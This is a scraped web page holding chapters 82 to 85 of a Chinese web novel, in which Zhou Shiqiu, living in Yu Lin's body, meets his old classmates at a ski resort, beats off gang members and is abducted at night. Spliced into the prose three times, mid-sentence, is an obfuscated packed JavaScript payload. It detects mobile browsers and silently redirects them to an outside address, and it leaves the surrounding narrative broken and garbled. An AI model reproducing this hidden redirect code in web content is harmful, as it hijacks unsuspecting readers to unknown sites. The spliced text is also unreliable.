自从延长了约定期限后,庾林突然安静下来,一连两天没有任何动静。每次周拾秋忍不住打电话过去询问是否有什么委托时,庾林总以“忙”一个字敷衍了事。 周拾秋忍不住对齐绮抱怨:“你说庾木木是不是有病?钱找不到地方花了?怎么好像还得我这个乙方求着他给派任务呢?” “他都不急,你有什么好急的?”齐绮对此只是付之一笑,反倒调侃起周拾秋,“不会是习惯了被老板压榨的生活,突然不受重视,你不习惯了吧?” “笑话,什么事都不用做就可以白拿钱,我求之不得!”周拾秋嘴硬道。 她自己心里都忍不住怀疑,被庾林有事没事派给的莫名其妙任务精神污染了,居然会为甲方已付的资金感到惋惜。 当她意识到这点后,她赶紧调整心态,试图不让庾林这个人占据她的大脑。 L463年12月6日,平静了两天的日子终是被打破了。 清晨,周拾秋在风雪的洗礼下睁开了眼,白茫茫的一片显然不会是她家的天花板。 她正站在某处滑雪场里,远处是大雪覆盖的群山。现在时间尚早,滑雪场里的人寥寥无几,而周拾秋便是其中一员。 心里首先涌现的居然不是怒气,反倒是些许欣慰。 “庾木木这家伙,总算意识到钱不能白花了吧?”周拾秋带着得意的笑,喃喃自语。 “是啊,不能白花啊,所以你赶紧吧。” 身旁突然传来一个熟悉的声音,周拾秋被吓了一跳,循着声音转头看过去,只见一身滑雪套装打扮的何洲正双手叉腰,趾高气昂地站在她面前。 周拾秋茫然询问:“你怎么也在,知道庾木木叫我来干嘛不?” 何洲带着脚下滑雪单板蹦跶了一下,将头顶护目镜下拉到合适的位置,讥笑道:“哎,你不会想知道,小舅舅让我教他滑雪,而你,负责帮他身体学会!” 原来两日不见庾林有动静,只因为庾林忙着准备这场滑雪之旅。 他趁着周末,拉上何洲,从凌沪市出发,来到了千里之外的鸾鹤市,入住了鸾鹤市最有名的度假村——星槐度假村。 这里不止有适合家人朋友聚会的山间别墅,还自带滑雪场,供人娱乐消遣。如果饿了,可以到美食街饱餐一顿;想要浪漫,可坐缆车上山搭帐篷露营,看漫天星海,赏日出美景;如果累了,更可到温泉山庄泡汤,将积攒的疲惫一扫而光…… 光是听何洲的介绍,都让人觉得眼前一亮,不过让周拾秋眼前一亮的不是休闲娱乐,而是她想要去的星槐温泉山庄就在这附近。 “好好好,要不我们先去温泉山庄泡个澡?”周拾秋喜出望外地建议。 她刚拖着脚下不听使唤的滑雪双板走了一步,就被何洲拽住兜帽拎了回来。 “别想,我跟学姐的度假费用能不能由小舅舅全包,就看你能不能学会滑雪了!大清早泡什么澡,赶紧跟我学!” 何洲强势地将周拾秋的脑袋扳回滑雪坡道,然后也不管周拾秋有没有在听,自顾自地开始指导滑雪动作和要领。 周拾秋心不在焉地站在一旁,对于何洲说的话,她一只耳朵进一只耳朵出。 她远远看见一个熟悉的人影,站在一旁传送带上,缓缓回到了山坡上,还不停冲她招手,脸上洋溢着愉悦的笑。 那是清悦,在何洲费力充当滑雪教练时,她已经滑了一场,此刻兴奋地回到二人身边,催促着二人赶紧加入赛场。 清悦自然不知,场上某人已经离了场。 周拾秋根本没心思学滑雪,看见清悦就跟看到救星一样,只道自己先在一旁暖暖身,让何洲先陪清悦去比一场。 何洲不敢扫兴,叮嘱周拾秋别乱跑后,便陪着清悦上了坡道。 那边两人滑得尽兴,这边周拾秋赶紧开溜,好不容易挪出滑道,偷偷坐索道下了山坡,正准备离开滑雪场,却看见入口处有两个痞里痞气的男人拦住了一位漂亮姐姐。 那女人五官清秀,说话温柔,楚楚可怜的样子,让路过的人都忍不住多看两眼。 他们说什么听不清,但漂亮女人一脸不情愿,周拾秋看得真切。也就多看了这一眼,让原本打算少管闲事的周拾秋不由得驻足。 倒不是因为女人正好与她对上眼,先愣了一下,然后像发现救命稻草一样奔向她,而是女人身上若隐若现的异能气息,将她狠狠锁在了原地。 那是百泉的气息。 就这么呆站不动,眼看着女人冲到她身边,嘴里说了句什么话,周拾秋根本没有听清,然后女人便躲到她身后,而缠着女人的两名男子也跟到了她面前。 周拾秋只觉熟悉的异能气息疯狂刺激着她的神经,引起阵阵耳鸣。 怎么回事? 身后那女人真的是百泉吗? 周拾秋诧异地扭头盯着眼前的陌生女人,看得女人渐渐皱起了眉头。 身前一个打了耳钉的男人突然推了周拾秋一把,才总算让周拾秋回过神来。 耳钉男叫嚣着:“哪儿来的臭小子不长眼,敢在这儿多管闲事,也不打听一下,这儿是谁的地盘。” 另一个染了银发的男人看上去冷静许多,拉着耳钉男劝道:“算了,别惹事。” 耳钉男甩开银发男阻拦的手,不满地骂道:“怕个屁,谁让这小妞自己往我身上撞,看她手环明显启动里人格了,我不得请她回基地,跟她好好讲讲道理?” 银发男有些说不过,眼神焦虑地看了看四周,见不断进场的游客不时投来看热闹的眼神,心里更是慌张。 周拾秋听到耳钉男的话,视线转向身后女人的手腕。 女人很警觉,迅速用手掌盖住了手环屏幕,但周拾秋在庾林的手环上见过太多次,一眼便认出那是任务进行中的画面。 “莫非是百泉的意识?” 周拾秋心里产生一丝怀疑。 “臭小子,赶紧滚,这事儿跟你没关系,现在滚远点,小爷可以睁一只眼闭一只眼,放你一马。” 耳钉男无礼的叫嚣将周拾秋的思绪拉回,他摩拳擦掌,装模作样地扭动着脖子,一副准备动手,强行抓人的模样。 周拾秋借着庾林的身高优势,冷漠地俯视着面前两人,摆着一副臭脸,一脸不屑地吐出两个字:“暗魈?” “知道我们是暗魈的人,还不滚?小爷不动手,觉得我跟你客气喃?”耳钉男瞪着眼,抬手又要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083008|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推搡。 周拾秋条件反射一般抬臂,一把握住了耳钉男主动送上门的手,以十指紧扣的方式。 “抓个小姑娘有什么意思,我对暗魈基地挺感兴趣,要不抓我吧?”周拾秋露出三分阴险的笑意。 这不巧了嘛,有人带路,省去找路麻烦。 围在入口看热闹的人越来越多,而眼下这一幕更引得路人驻足观望。 这一刻,对峙中的四人全都沉默了,一种异样的气氛在空气中散开,被冷风一吹,逐渐凝固,场面顿时尬住了。 被周拾秋握着手的耳钉男,脸唰地变白,眼神惊恐中透出一丝厌恶,恼羞成怒地甩开她的手,仿佛沾到脏东西一样,顺手在身旁银发男衣服上蹭了蹭。 “woc,滚开!”银发男连忙蹦到两步开外,一脸警惕地看向周拾秋。 “你特么是不是有病啊?” 这下耳钉男彻底怒了。 就在周拾秋试图解释自己是真心实意想去暗魈基地做客时,耳钉男的拳头已经往她面门招呼。 周拾秋闪身躲避,可一拳挥空后的耳钉男穷追不舍,又是一拳朝着腹部冲了过来。 周拾秋以掌接住了这一拳,五指收紧,将对方的拳头彻底包裹,顺时针旋转一拧,耳钉男的手腕便被扭曲到无法承受的角度。 耳钉男顺着用力的方向,单膝跪地哀嚎,周拾秋抬起一脚,就将耳钉男送出两米开外,躺在雪地上无能狂怒。 银发男见同伴吃亏,也不冷静了,试图从身后勒住周拾秋的脖子,却吃了周拾秋一肘击。 痛在喉咙里还未出声,迎面又挨了周拾秋一拳,银发男晕头转向摔到了雪地上,一抹鼻子全是血,起身不敢再硬刚,转而去扶起同伴。 “你等着,有种别跑!” 耳钉男捂着脱臼的胳膊,在银发男的搀扶下,骂骂咧咧推开人群离开了滑雪场,看样子是去摇人了。 周拾秋有些无奈,英雄救美这种事她本无意,谁让那两个小喽啰听不懂人话,直接带她走不就好了吗? 用别人的身体干架她早习以为常,不过庾林这身体实在太强,她甚至没用异能帮忙。 她致谢一般,自己拍了拍自己的胳膊。 “云海!你没事吧?” 人群中窜出一对陌生男女,一边叫嚷着,一边跑到被周拾秋救下女人面前,一脸关心地询问。 女人笑着摇了摇头,指了指周拾秋道:“刚被暗魈的人骚扰了,还好有他帮忙……” 感受到三人的目光,周拾秋摆了摆手,回以微笑,只想赶紧开溜,免得一会儿被何洲逮到。 “庾林?好小子,你怎么也来鸾鹤了?好多年联系不上你,没想到能在这儿碰上!”陌生男人两步上前,拍了拍周拾秋的肩膀,喜出望外地叫道。 “噗,想不到帮云海解围的会是庾林,这就是缘分吧!”陌生女人捂嘴偷笑,视线来回往周拾秋和被救女人脸上瞟。 一时间,周拾秋和被救女人都懵了。 被救女人愣了一秒,迅速露出温柔的笑,“啊,原来是庾林,刚太慌了,一时没认出来。” 周拾秋尴尬地看着三人,强装镇定道:“啊哈,真巧……” 83. 第083章 谁能想到,远在千里之外的鸾鹤市,能遇上庾林的大学同学呢? 周拾秋意外救下的那女人叫做桑云海,后面来寻桑云海的陌生男女,男的叫黎浩哲,女的叫箫芮,来星槐度假村参加为期两天两夜的大学同学聚会。 桑云海这个名字听上去很耳熟,周拾秋想了许久才想起张医生的那句话。 ——“也许喜欢像桑同学那样温婉的女子。” 当时从何洲口中打听到,这位凌云集团千金是差点嫁给庾林的人。 周拾秋以许久未见大家变化颇大为由,将完全没认出对方一事搪塞了过去。 不过也因为莫名遇上英雄救美的破事,周拾秋没能成功逃离滑雪场。 “不是让你别乱跑吗?怎么一个人跑这儿来了?你滑雪板呢?你不会是打算偷偷溜走吧?” 何洲熟悉的声音从身后传来,一步步靠近,带着唠叨的问题,最终抬手搭上周拾秋的肩,目光仿佛要将周拾秋生吞活剥了。 “呵呵,这不遇到老熟人了嘛……” 周拾秋脸上凝固着尴尬的笑容,用眼神示意何洲别乱说话。 何洲见有外人在场,立马意会,环顾一圈,视线最终停在桑云海的脸上,惊叫了一声,高呼:“小舅妈?!” 下一秒,何洲的耳朵被周拾秋狠狠揪住拎起,疼得他连声求饶。 周拾秋几乎是条件反射,毫不留情地对何洲动了手,一时不知是觉得这个称呼不太礼貌,还是单纯不喜欢他这么叫。 黎浩哲和萧芮只当是玩笑,不禁回忆起过往,相视而笑。 黎浩哲:“这是你外甥小洲吧?都这么大了,还记得大学时期这小子就喜欢跟着你,这么多年都没变。” 萧芮:“现在可不能乱叫了哦,我们云海已经订婚了,这玩笑在我们面前说说就好,可别让云海的未婚夫听到。” 身为当事人的桑云海表情有些尴尬,“本想趁着时间早人少,来滑雪散散心,没想到被暗魈坏了心情,行了,我先回去了。” 无视了玩笑话,桑云海简单交代两句,就匆匆撇下众人离了场,犹如想要逃避某些人某些事一样。 “云海,等等一起走呀。” 萧芮有些担心地呼唤了一声,却并未令桑云海驻足。 对于桑云海不给面子的离场,黎浩哲略微尴尬解释道:“云海最近烦心事不少,无心应对这些玩笑也很正常。庾林你别在意,能在这儿见到你,她肯定也很高兴,毕竟以前你们关系那么好。” “对啊,对啊,你不在的日子里,最多提到你的人就是云海了。”萧芮随声附和。 周拾秋回以微笑,大家共有的回忆里并没有她,她无从判断在这种情况下庾林会做出什么反应。 不过,要说桑云海的态度,周拾秋其实比他们更清楚。 与桑云海的心情无关,此刻控制着桑云海身体的人,显然是危代人,所以并不知道他们口中那些人际关系。 这一点可以说,与周拾秋没什么不同。 所以桑云海赶紧溜了,大概率是害怕聊太多露馅儿。 桑云海的协议危代人会是百泉吗? 这才是周拾秋真正关心的问题。 当她陷入独一份的困扰时,身边的人显然没有这样的烦恼。黎浩哲和萧芮邀请这位难得露面的老同学去山间别墅参加聚会,而那里还有更多庾林多年未见的朋友。 对于二人的热情,周拾秋并不想领情,虽然桑云海身上的异能气息令她在意,可她此刻不想招惹麻烦,只想趁机去找柴星曜。 她这么想,可何洲打的算盘与她并不一样。 “哦,有聚会也不错,能在他乡与同学再聚,小舅舅肯定很惊喜。”何洲冲着周拾秋露出意味深长的笑。 周拾秋掐着何洲的脸颊,龇牙咧嘴低声笑道:“小舅舅我好像更想滑雪啊?” 看着舅甥俩斗嘴,不明真相的黎浩哲插嘴道:“哈哈哈,还跟上学时一样,以前你和云海就常约到滑雪场比上一局,我们这群人里,就你们俩胜负心强,一定要争个输赢。” 周拾秋和何洲都愣住了。 何洲疑惑于为何小舅舅明明会滑雪,还威逼利诱让他来当教练。 周拾秋则质疑起庾林出现在这里的目的。 原来是回忆往昔啊……周拾秋心中冷笑,回看这个滑雪场莫名有些不顺眼。 二人犹疑之际,萧芮继续劝道:“先去别墅坐坐吧,等下午大家一起过来玩,人多还能来场比赛呢。” 黎浩哲点头称是,又扔出另一个重磅理由:“刚才你帮云海解围,得罪了暗魈的人,那伙家伙算是此处的地头蛇,先避避吧。” 经黎浩哲提醒,萧芮顿时紧张起来,“啊,对对对,刚才那两个人好像去叫人了。” 何洲一听炸了锅,拉着周拾秋到一旁,小声念叨:“兄弟,你干嘛呢?惹谁不好惹暗魈,我们还要在这住两晚,你是真不怕事啊。” “呵呵,意外。” 周拾秋不好意思地挠着头。 说实话,这本不是她的计划,当时是桑云海拉她下水,无意中发现对手是暗魈成员,她就趁机借题发挥。 此刻她正等着那两小喽啰叫人过来,最好能把他们老大柴星曜叫过来,虽然可能性不大,但在这儿等着,似乎比自己去温泉山庄寻人更简单。 打算是这么个打算,然而何洲知晓她惹了麻烦后,死活要带她和清悦离开,立马答应了同学聚会的邀请。 因此,容不得周拾秋反对,三人便在庾林同学的带领下,转场到了山间别墅。 滑雪场就在山下,他们坐缆车上了山,山腰上修建着别墅群,专门出租给来此度假的游客。 庾林的这群大学同学将一年一度的同学会安排在这里,租了其中一间别墅作为聚会地点。 谁都没有庾林的联系方式,今年却意外撞见,所有人都又惊又喜,邀请三人在别墅住下。周拾秋本想拒绝,何洲和清悦倒乐于人多热闹,一时盛情难却。 “你是不是忘了,你小舅舅有病!”周拾秋抓住何洲窃窃私语。 “小舅舅有,但你没有啊。”何洲一脸惬意地拍了拍周拾秋的肩,“你之前不是还问我桑同学跟小舅舅什么关系吗?现在不正好可以打听吗?” 何洲露出一脸八卦的神情,一句话成功动摇了周拾秋的想法。 周拾秋的目光不由自主移向了人群中最耀眼的那个存在。 此刻的桑云海与早上在滑雪场见到时,似乎有些许不同。头发用一根发簪盘在脑后,额前两缕碎发弯曲在脸旁,让她整个人看上去温婉可人。 她脸上洋溢着优雅的笑,眼神柔和中又带着几分坚毅,与人说话不再是早上娇滴滴的模样,爽朗、大气,一种与生俱来的自信展露无疑。 似乎她天生就是成功者,拥有外表掩饰不住的骄傲,不管出现在哪里,都能第一时间成为焦点。 这样的人让周拾秋没由来地嫉妒。 “果然是危代人啊……”周拾秋声音微弱地嘟囔着。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人大学时常结伴而行的身影,在学校里被公认为情侣的传言,彼此友好鼓励的同时在专业领域互相竞争的奇妙关系,甚至还有直到毕业也没有满足众人愿望明确关系的唏嘘结局…… 在这里,周拾秋只是一位听众,听着所有关于庾林与别人的故事。 周拾秋说不清心里是什么滋味。 或许就像捡到了一只性格冷傲孤僻的小猫,很长一段时间,这猫总对她炸毛龇牙,冷不防还会给她一爪子。 她以为他天性如此,无意中却发现他对原来的主人并非如此,他也会蹭着主人的手,允许主人摸他的脑袋。 可恶的小猫…… 她想起庾林曾回应过家里想要撮合他与桑云海的事,他说是六年前两家想要联姻,但提出后就被二人否决了。 当时周拾秋觉得应该没人受得了庾林阴暗孤僻的性子,所以桑云海拒绝也很正常。如今再听两人的过往,那是她从未见过的庾林,原来他曾拥有满是阳光的生活。 而他与桑云海的关系,是真的很好,也难怪会让何洲和他的同学,全都对这段感情念念不忘。 听着四周的说笑声,周拾秋下意识地问桑云海:“六年前你为什么拒绝嫁给我呢?” 此话一出,热闹的场面立即冷却,所有视线向两人汇聚,带着好奇、惊讶,甚至是兴奋。 旁人只是抱着吃瓜的心态,只有周拾秋是真的很想弄清这个问题。 周拾秋左等右等,等到的却是桑云海脸上带着玩味的笑,轻轻抚上她的额头,问:“那你现在还想娶我吗?” 84. 第084章 什么情况? 说好的否决呢?这不妥妥后悔了吗? 周拾秋还没想出该如何应对这突如其来的撩拨,周围就爆发出起哄的声音,也不乏开玩笑的劝阻。 “怎么回事?十年都没有开花结果,今天要准备官宣发糖了?” “我同意了!我嗑的CP成真了,嘿嘿嘿……” “喂,大家开玩笑适度,云海跟夏子辰不是已经订婚了嘛。” “结婚都还能离呐,何况只是订婚,我不管,这份子钱我随了!” “要真让凌云集团选择,庾林胜算很大嘛,哈哈哈……” “怎么不是缘分呢?今早能在滑雪场遇上不就说明一切了吗?” “哦?看来还有什么我们不知道的故事。” “嘿嘿,我跟阿哲是见证者!” 于是,话题突然被带到了庾林与桑云海早上偶遇一事上,然后这件英雄救美的佳话就成了两人再续前缘的助力。 桑云海听了有些茫然,从周拾秋的额头上收回手指,嫣然一笑,坦然致谢:“看来还要多谢我们小林见义勇为。” 周拾秋总觉得哪里怪怪的,下意识瞥了一眼她手腕上的手环,屏幕和电源键都熄灭着,那手环一看就没开机。 “你……记得是我帮了你?”周拾秋诧异地问道。 “不然呢?我刚还怀疑你是不是发烧烧糊涂了。”桑云海掩嘴浅笑,“以前他们开玩笑,你可不会跟着闹,多年未见,我只听说过厌女谣言,没听说你也喜欢胡说八道了。” “什么意思?”周拾秋听不太懂。 桑云海用手指戳了戳周拾秋的笔尖,淡然回答:“意思就是,我当然记得你帮了我,同时我也记得,当年我们说好永远是朋友,谈友谊,不谈风月。你别跟我说,当年没看上我,听说我订婚了,突然又觉得可惜,那我恐怕要让你失望了。” 在桑云海用最温柔的声音说出了坚定的拒绝后,周围原本还想开两人玩笑的人也收起了心思。 “对对对,只谈友谊,来,敬我们十多年的同学情谊!” 箫芮第一个站出来缓和气氛,号召着众人举杯。 周拾秋依旧是个懵懂无知的局外人,桑云海的话让她很是不解。 今早她遇见的人真的是桑云海吗? 她现在并没有在桑云海身上感受到一丁点异能气息,更别说是百泉的气息了。 难道是委托人完成任务后跟她通了气?所以她在隐瞒自己启动过里人格这件事? 可是隐瞒的理由呢? 至于桑云海与庾林的关系,看上去就跟庾林说的一样,并不存在同学以上的关系。 这个能随意跟庾林开玩笑的女人,似乎对庾林并没有别的想法,可庾林呢? 周拾秋有些羡慕,庾林与桑云海之间那种对等且游刃有余的关系,大概因为他们共同拥有美好回忆,他们是同一类人,所以可以相互理解。 周拾秋将果汁当酒,一杯接着一杯,试图浇灭心头无名的火焰,可效果并不理想,她在这个让自己感觉格格不入的空间里,如同一个边缘的异类。 听着那些无法感同身受的过往回忆,毫无感情地以笑掩饰,时间变得漫长无比。 或许只有眼前那位如阳光般耀眼的女人,让她保持着好奇没有离开。 到了下午,众人相约去滑雪,桑云海则向周拾秋发起了挑战。 周拾秋只能故装高冷,“年纪大了,对这些运动没什么兴趣了,我来这儿纯粹是为了带小孩玩儿。” 她一边说着一边指了指何洲,何洲本想喊冤,见周拾秋疯狂冲他挤眉弄眼,只得硬生生将话憋回肚子里,笑称自己爱玩。 大部分人出发前往滑雪场,包括何洲、清悦和桑云海,还有一小部分人留在别墅玩虚拟游戏,其中就有周拾秋。 倒不是她想留下,只是去滑雪,她这个初学者身份铁定暴露,而且黎浩哲想留她在别墅叙旧,除此以外,他们这间这场虚拟游戏的对决,可以下注。 一提到钱,周拾秋的胜负欲就爆了棚。 这一下午,她几乎是大杀四方,将留在别墅里的人赢得人都傻了。 有人输光了兜里的钱,有人赔上了跑车,有人输得就剩一条裤衩,有人不惜用秘密抵债…… 原本只是打算赢点小钱钱的周拾秋,竟意外听到了些有意思的八卦。 输得付不出赌资的黎浩哲暂时停战,悄悄拉着周拾秋坐到了吧台,给周拾秋倒上一杯酒,然后打开了话匣子:“其实我知道云海为何不选你。” 很显然,在黎浩哲眼中,庾林应该是对桑云海有好感。 于是周拾秋来了兴致,手指转动着酒杯,让酒在杯子里打转,脸上带着高深莫测的笑,问:“为什么?” 黎浩哲再三确认过房间里的人都沉迷于虚拟游戏后,才小心翼翼地回答:“云海这个姑娘,有点倔,她从小就不喜欢受家族摆布。” “你很了解桑云海嘛。”周拾秋说。 黎浩哲笑道:“我一直很欣赏云海的性格,上学时也挺看好你俩,那时你俩的关系很纯粹,不掺杂任何情欲的理想爱情状态,这也是我一直追求的境界。” “呃……你确定是爱情,不是友情?”周拾秋一脸质疑。 “我希望是爱情。” “……” 周拾秋觉得庾林的这位同学也跟脑子有病一样,不想跟他交流太多令人费解的思路,她赶紧将话题引回重点:“所以,桑云海为什么不选我?” “因为你跟夏子辰一样啊,都是家族联姻的牺牲品。”黎浩哲振振有词,言语中充满了对庾林这种含着金汤匙出生的人的同情。 周拾秋偷偷剜了黎浩哲一眼,心里对于他的理论不敢苟同,但表面不露声色,“可她最后选了夏子辰,不是吗?” “唉,你有所不知,云海根本就不喜欢夏子辰,两人之所以能订婚,纯粹出于云海的妥协,她喜欢的另有其人。”黎浩哲露出一副知晓一切的自满神情。 “她喜欢谁啊?”周拾秋兴致盎然,侧耳倾听。 “石桀!” 一个陌生的名字从黎浩哲口中说出,周拾秋心下茫然,思索着这又是哪位同学,也不知道今天有没有出现在现场,一时也不敢多问。 好在见周拾秋不说话,黎浩哲主动解释道:“哦,你这几年断了联系,大概没听说过这个人。他是云海的协议危代人,云海曾经带他参加过几次我们的聚会,那可是守旧者,你懂的,桑家老夫人不可能同意。” 黎浩哲一脸兴奋地摆着八卦事,可周拾秋的心思全在协议危代人上。 “你确定桑云海的协议危代人叫石桀?她没有签过别的危代人?”周拾秋发问。 黎浩哲有些诧异,言辞肯定地回答:“没啊,就这一个危代人就够桑家头疼了,怎么可能再让她签一个。” 石桀?难道是百泉现在的新身份? 当周拾秋陷入沉思时,黎浩哲嘴里一刻不停地说起关于桑云海与这位协议危代人的故事。 据说,桑云海真正心仪的人,就是这位做了她三年协议危代人的石桀。 桑云海甚至想过嫁给石桀,可家里人并不同意。 石桀的本职工作是大学教师,成为危代人并不是为了钱,最初只是出于对未知世界的探索欲。 后来,石桀与桑云海相识于任务大厅,任务只是简单的帮忙应付相亲。 石桀体面的应对,给桑云海留下了深刻的印象,后来再有相亲这种桑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091069|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云海排斥却又不得不应付家里的麻烦时,她总会想将任务交付给石桀。 正是因为有了这样的想法,桑云海指定石桀成了她的协议危代人。 两人的关系也在日渐融洽的相处中,从委托关系,变成了朋友,又从朋友发展成了恋人。 可惜,这种关系注定不会得到家里人的认可与祝福,甚至为了让石桀死心,还暗中毁了石桀的事业,影响了石桀的生活。 因为身份地位的差距,这对恋人终是没能对抗住外界的压力。 为了保护石桀,桑云海选择顺从了家族安排的联姻,与夏子辰订婚。 听到这里,周拾秋已经排除了石桀是百泉的想法,想一想,自己或许是忧思过虑,才老觉得百泉就在附近。不管是上次在游轮上,还是这次在滑雪场上,兴许都只是错觉。 现在仔细一想,以百泉那种强势的性格,怎么可能任人欺负呢? 虽然桑云海承认早上与周拾秋见面的就是自己,可周拾秋总觉得两人气质完全不一样,而且当时她记得,手环屏幕亮着。 “这种情况下,石桀还能继续做危代任务?”周拾秋忍不住嘀咕,这危代人也太弱了点,还能被暗魈唬住。 黎浩哲摇了摇头:“原本桑家逼着云海解约,可云海死活不同意,说这是她的底线,委托可以停止,但私危协议不能解除。” “啊?这是什么理论?”周拾秋问。 “也许算是一种弥补吧,毕竟桑家连石桀的工作都毁了,只要协议还在,每个月至少可以固定支付酬劳。”黎浩哲说着叹了口气,对于桑云海的执着有些不理解。 周拾秋掰着手指计算着石桀能到手多少钱,心中有些羡慕,“躺着什么事都不做就有收入,怎么这种好事轮不到我头上……” “哈哈哈,几年不见,幽默见长啊。就你家这条件,还用羡慕危代人?”黎浩哲捧腹大笑,片刻后又严肃说道,“不过听说那石桀也挺有骨气,云海的钱,他一次都没拿过。云海已经很久没用过手环了,却无时无刻不戴着,可想而知,她放不下。” “没用过?”周拾秋又是一惊。 “嗯,你没看云海手环一直关机中吗?等哪天她肯摘掉手环,估计就真的翻篇了。”黎浩哲感叹着,随后又叮嘱周拾秋千万别把这些话往外说,这些都是有次跟桑云海见面,她喝多了说出来的秘密。 周拾秋识趣地点了点头,嘴上不忘吐槽:“你也挺狗,输了用别人的秘密抵债……” “哈哈哈,我的秘密你肯定不感兴趣,也就云海的秘密你会觉得有价值了吧?”黎浩哲冲周拾秋使了使眼色,装出一副很懂她心思的模样。 周拾秋简直想赏他两巴掌,她倒希望黎浩哲看出的只是她的心思,而不是庾林的心思。 后来黎浩哲又顺势询问起了庾林的工作,并表示自己最近也在考虑定制仿生人,言下之意就是想找庾林帮忙。 周拾秋可不敢再帮庾林随便接工作,一般来说最后都是苦了她这个劳动力。 于是周拾秋以度假期间不谈工作为由,将康管家的手机号码留给了黎浩哲,让他想谈工作,可以过几天再打电话咨询。 黎浩哲便识趣地闭了嘴。 这天晚上,周拾秋和何洲、清悦三人被热情邀请在别墅留宿,三人不好拒绝。周拾秋被安排与何洲住一屋,她一直等到凌晨1点,何洲这个精力旺盛的小子才睡着。 周拾秋刚打算趁机偷溜去温泉山庄,还没来得及翻身,窗外突然出现窸窸窣窣的声响。 她警觉地望向声音传来的方向,一股异能气息猛然降临。 窗边的墙上突然出现一道门,两个黑影蹑手蹑脚窜进房间,周拾秋刚想起身,一股睡意猛然袭来,她便彻底失去了意识。 85. 第085章 几乎是在失去意识的瞬间,周拾秋明白自己被异能影响了,那一刻,她以异能抵抗,清醒了过来。 下一刻,她发现自己被两人抬了起来,似乎是要将她带去哪里。 感觉有些奇怪,这两人并不是她上回遇见的那两个进化者,可从异能气息分析,是控制系加变异系的搭配。 这是要带她去哪儿? 她想看看对方是否还有同伙,便睁一只眼闭一只眼,任由两人抬着,没有轻举妄动。 那两人行动有些笨拙,抬着她直喘粗气,往窗边出现的那扇门走了两步,前面的人停下脚步,后面的人小声催促。 变异系:“催啥催,你是不是傻,带着这家伙怎么爬墙走?” 控制系:“哎哟喂,你异能不好使啊,不带空间传送。” 变异系:“就你话多,这样,你先下,我再把人扔下去,你在下面接住。” 周拾秋听见这句话,呼吸都差点停了,简直想起身说:“要不我自己走?” 好在另一人并不同意。 控制系:“你是不是疯了?这家伙这么重,在下面接,还不砸死我?要接你去接,我不接。” 变异系:“早知道,我就带体格强化系的来了,还能一个人扛走这家伙。” 听到“体格强化系”五个字,周拾秋脑海中闪过一个身影,那晚天台上,一只手就将她扔飞出去那个壮汉,莫非这两人是他的同伙? 控制系:“哟哟哟,看把你能得……没我让屋里人睡着,你进门就让人给抓了!” 变异系:“行,你厉害,那还爬什么墙,直接下楼出门不就得了。” 说话间,窗户旁的门瞬间消散,走在前面的变异系进化者立马抬着周拾秋的脚转了个向,绕到了另一边,二话不说朝着房门走去。 抬着周拾秋上身的控制系进化者往后使力,周拾秋仿佛要被两人分尸了,咬着牙才没怒吼出声。 控制系问:“这么大摇大摆出门,你不怕被人撞见啰?” 变异系骂:“傻呀,你用异能让所有人睡着不就行了。” 控制系:“对哦,那一开始我们爬墙干嘛?” 变异系:“帮你省点力气啊!” 控制系:“我怎么觉得比直接走门进屋更累?” 变异系:“你少说点话就不累了,赶紧,我手都酸了。” 控制系:“手酸还不是因为你让爬墙嘛!” 两人就这么小声嘀咕了一路,抬着周拾秋走出房间,小心翼翼地下楼,万幸没在别墅里撞见任何人。 就这么将人抬出别墅,扔到了汽车后座,然后两人驾车扬长而去。 周拾秋躺在后座思考着这伙人的用意,难道控制她自杀还要选个风水宝地? 这次来的两人感觉加起来都凑不齐一副脑子。其中一人的异能似乎是可以变出一扇门,偷盗的绝佳异能搭配;另一人应该是催眠,可以控制人陷入沉睡,失眠者的福音。 但要让这两个人实施“自杀”,显然不是明智的选择。 这伙犯罪者到底拉拢了多少在逃进化者? 根据周拾秋现在掌握到的信息,至少有三人可以确认,一个是力量强化的壮汉,一个是幻觉植入的轮椅女人,一个是可以伪装变形的神秘人。 眼前这两个正在实施绑架的进化者,真的也是那三人的同伙吗? 带着这样的疑问,周拾秋继续装睡,一直到两人停车再次将她抬了出来。 四周突然亮起来,周拾秋不敢明目张胆睁眼偷看,唯恐二人发现她在装睡。 周拾秋只能倚靠听觉和感知来分辨,她似乎被抬进了对方的大本营,四周吵杂的声音告诉她,对方人数众多,但并非所有人都是进化者。 “还有普通人参与犯罪?”周拾秋心里直犯嘀咕。 弯弯绕绕走了好一会儿,抬她的两人松了手,短暂的失重后,她摔在了柔软的皮质沙发上。 “老大,人绑回来了!”那两个进化者得意地交差。 结束了! 周拾秋心中狂喜,没想到这群犯罪者会将她带到他们的老巢来,这不正好给她一网打尽的机会吗? 